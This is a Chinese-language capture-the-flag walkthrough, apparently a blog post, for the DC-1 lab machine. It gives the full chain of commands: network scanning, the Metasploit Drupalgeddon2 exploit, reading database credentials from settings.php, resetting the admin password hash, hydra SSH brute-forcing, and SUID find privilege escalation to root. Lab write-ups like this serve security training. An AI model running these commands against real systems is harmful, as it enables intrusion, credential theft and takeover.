【DC】DC-1
kali:192.168.223.131
target:192.168.223.155
由于放在同一个虚拟机下默认在内网,但DC系列没有告诉我们IP地址,需要扫一下
arp-scan -l
发现IP地址为192.168.223.155
,之后nmap扫描端口
nmap -sV -p- 192.168.223.155
-sV:探测开启的端口来获取服务、版本信息
-p-:全部1-65535端口
此时探测出的端口如图,先浏览一下80端口
Drupal是一个很出名的CMS,我们可以使用msfconsole进行漏洞搜索
如果msf打不开可以
msfdb init
进行初始化
msfconsole
//搜索Drupal漏洞一共多少种
search Drupal
经过测试,序号1的漏洞有效,可以进行API注入
use exploit/unix/webapp/drupal_drupalgeddon2
使用该漏洞后自动使用一个php的攻击载荷,看一下我们的选项
show options
这里显示只要再配置一个RHOSTS即可
set rhosts 192.168.223.155
exploit
此时msf自动寻找漏洞,同时目标上线,此时shell
拿到权限,ls
查看文件夹获得flag1
此时通过百度可知,Drupal的CMS有个关键目录,默认在/var/www/sites/default/settings.php
,发现是mysql数据库用户名和密码为dbuser和R0ck3t,以及flag2
cat /var/www/sites/default/settings.php
在此之前,习惯性的美化一下界面
python -c 'import pty;pty.spawn("/bin/bash")'
通过mysql进行连接
mysql -udbuser -pR0ck3t
进入后一直找到admin用户存储数据的表
show databases;
use drupaldb;
show tables;
select * from users
此时有两种方法进行后续操作
方法一:在数据库建立管理员级别的用户
需要是在Linux平台下搭建的drupal
Linux平台下的drupal在密码忘记时用php执行目录,可以使用drupal的密码生成工具自动生成密码
php scripts/password-hash.sh [密码]
退出mysql来生成,生成后再进去
此时通过改命令将管理员账号的密码修改成自己的
update users set pass='[密码的hash值]' where name='admin';
自定义密码为haha123,hash值为$S$D5cRz.3zYu7y0H2gazZbofPi9YPj1VV0Cl9P0j1OsaMqq2IbJQln
方法二:用漏洞建立一个用户
在漏洞列表中寻找漏洞,找到一个Add Admin User的payload
searchsploit drupal
退出msf后利用漏洞
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.223.155 -u [用户名] -p [密码]
此时用上面两种方法登陆到后台,拿到flag3
这时查看一下/etc/passwd,发现有一个flag4的用户,而/etc/shadow则没有权限访问
使用hydra进行密码破解,拿到flag4用户的密码是orange
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt 192.168.223.155 ssh
用ssh进行连接,拿到flag4
ssh flag4@192.168.223.155
通过flag4的提示,看起来第五个flag要root权限,查看一下/root里面有什么
find /root
Linux提权命令,发现有什么东西可以以root权限运行,找到/usr/bin/find
命令
find / -perm -u=s -type f 2>/dev/null
创建一个文件,同时在查找的同时执行/bin/sh,拿到第五个flag
touch haha
find / -name haha -exec "/bin/sh" \;
这里是利用find命令可以执行root权限进行Linux提权,记下来就行
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/16093101.html